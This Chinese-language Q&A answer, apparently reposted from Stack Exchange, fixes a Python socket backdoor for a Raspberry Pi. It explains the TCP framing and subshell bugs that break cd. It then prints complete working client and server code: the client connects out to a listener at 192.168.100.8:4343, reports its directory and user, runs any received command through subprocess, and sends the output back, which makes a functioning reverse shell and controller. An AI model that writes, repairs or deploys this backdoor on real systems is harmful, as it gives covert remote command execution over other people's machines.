Python Socket编写树莓派后门时交互式shell cd命令失效问题
问题根因
- 核心故障点是TCP协议为面向流的传输,没有内置消息边界,你没有做消息拆分逻辑:客户端第一次调用
recv()时,大概率会把服务端发送的shell模式标识和后面紧跟的第一条用户命令(比如你输入的cd 1)一次性读入缓冲区,得到的字符串为shellcd 1,完全匹配不上command == 'shell'的判断,因此你写的内层交互式shell循环从来没有被触发过。 - 所有命令实际都在外层分支通过
subprocess.getoutput()执行,该函数每次调用都会启动一个全新的独立子shell,子shell内的cd操作仅在当前子进程生命周期内生效,子进程退出后Python客户端主进程的工作目录不会发生任何改变。后续执行pwd时新启动的子shell会继承主进程的原始工作目录,因此永远返回/home/pi。 - 组合命令中
pwd返回正确路径,是因为整条组合命令在同一个子shell内顺序执行,cd操作仅在这个子shell内生效,子shell退出后主进程工作目录依然是原始路径,后续命令还是在原目录运行。 - 次要显示bug:服务端收到客户端返回的最新工作目录后,从未更新本地存储的cwd变量,命令行提示符永远显示连接建立时拿到的初始目录,即使后续目录真的切换成功,提示符也不会刷新。
- 逻辑隐患:处理
cd命令时手动拼接当前工作目录和用户输入路径,遇到绝对路径(如cd /etc)、上级目录跳转(如cd ..)、家目录路径(如cd ~/Downloads)时会出现路径解析错误,os.chdir()本身原生支持所有合法路径格式,不需要手动拼接。
修复方案
客户端修复
- 增加简单的消息接收逻辑,按固定消息分隔符拆分TCP流,解决粘包导致的命令识别错误
- 移除cd命令的手动路径拼接逻辑,直接传入用户输入的路径
- 补全cd命令的异常捕获,覆盖权限不足、路径不存在等各类错误场景
修正后客户端代码:
import socket, json import os import subprocess import sys SERVER_HOST = '192.168.100.8' SERVER_PORT = 4343 BUFFER_SIZE = 1024 * 128 SEPARATOR = "<sep>" MSG_END = "<end>" # 新增消息结束标识,解决粘包问题 def recv_all(sock): """循环接收直到碰到消息结束标识,返回完整消息""" data = b"" while not data.endswith(MSG_END.encode()): chunk = sock.recv(BUFFER_SIZE) if not chunk: break data += chunk return data.decode().removesuffix(MSG_END) s = socket.socket() s.connect((SERVER_HOST, SERVER_PORT)) data = json.dumps({"cwd": os.getcwd(), "usr": os.getlogin()}) s.send((data + MSG_END).encode()) # 消息末尾加结束标识 while True: command = recv_all(s) if command == 'shell': while True: command = recv_all(s) if command.lower() == "exit": break if command.startswith("cd "): target_path = command[3:].strip() try: os.chdir(target_path) # 直接传路径,不需要手动拼接 output = "" except Exception as e: # 捕获所有cd相关错误,不止FileNotFoundError output = str(e) else: output = subprocess.getoutput(command) cwd = os.getcwd() message = f"{output}{SEPARATOR}{cwd}{MSG_END}" s.send(message.encode()) else: if command.lower() == "exit": break else: output = subprocess.getoutput(command) cwd = os.getcwd() message = f"{output}{SEPARATOR}{cwd}{MSG_END}" s.send(message.encode()) s.close()
服务端修复
- 复用相同的消息接收逻辑,解决粘包问题
- 每次收到客户端返回的最新cwd后,更新本地存储的cwd变量,实时刷新命令提示符
修正后服务端代码:
import socket,json import os SERVER_HOST = "192.168.100.8" SERVER_PORT = 4343 BUFFER_SIZE = 1024 * 128 SEPARATOR = "<sep>" MSG_END = "<end>" def recv_all(sock): """循环接收直到碰到消息结束标识,返回完整消息""" data = b"" while not data.endswith(MSG_END.encode()): chunk = sock.recv(BUFFER_SIZE) if not chunk: break data += chunk return data.decode().removesuffix(MSG_END) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((SERVER_HOST, SERVER_PORT)) s.listen() while True: client_socket, client_address = s.accept() data = json.loads(recv_all(client_socket)) while True: print("TYPE SHELL") tmp = input(f"[*] Enter command: ") client_socket.send((tmp + MSG_END).encode()) # 消息末尾加结束标识 if tmp.lower() == 'shell': print("[*] Opening interactive shell") while True: command = input(f"{data['cwd']} $: ") if not command.strip(): continue client_socket.send((command + MSG_END).encode()) if command.lower() == 'exit': print('[!] Closing interactive shell') break output = recv_all(client_socket) results, cwd = output.split(SEPARATOR) print(results) data['cwd'] = cwd # 更新本地存储的cwd,刷新提示符 elif tmp.lower() == 'exit': client_socket.close() break
内容的提问来源于stack exchange,提问作者mikef0x
相关产品推荐
相关产品推荐

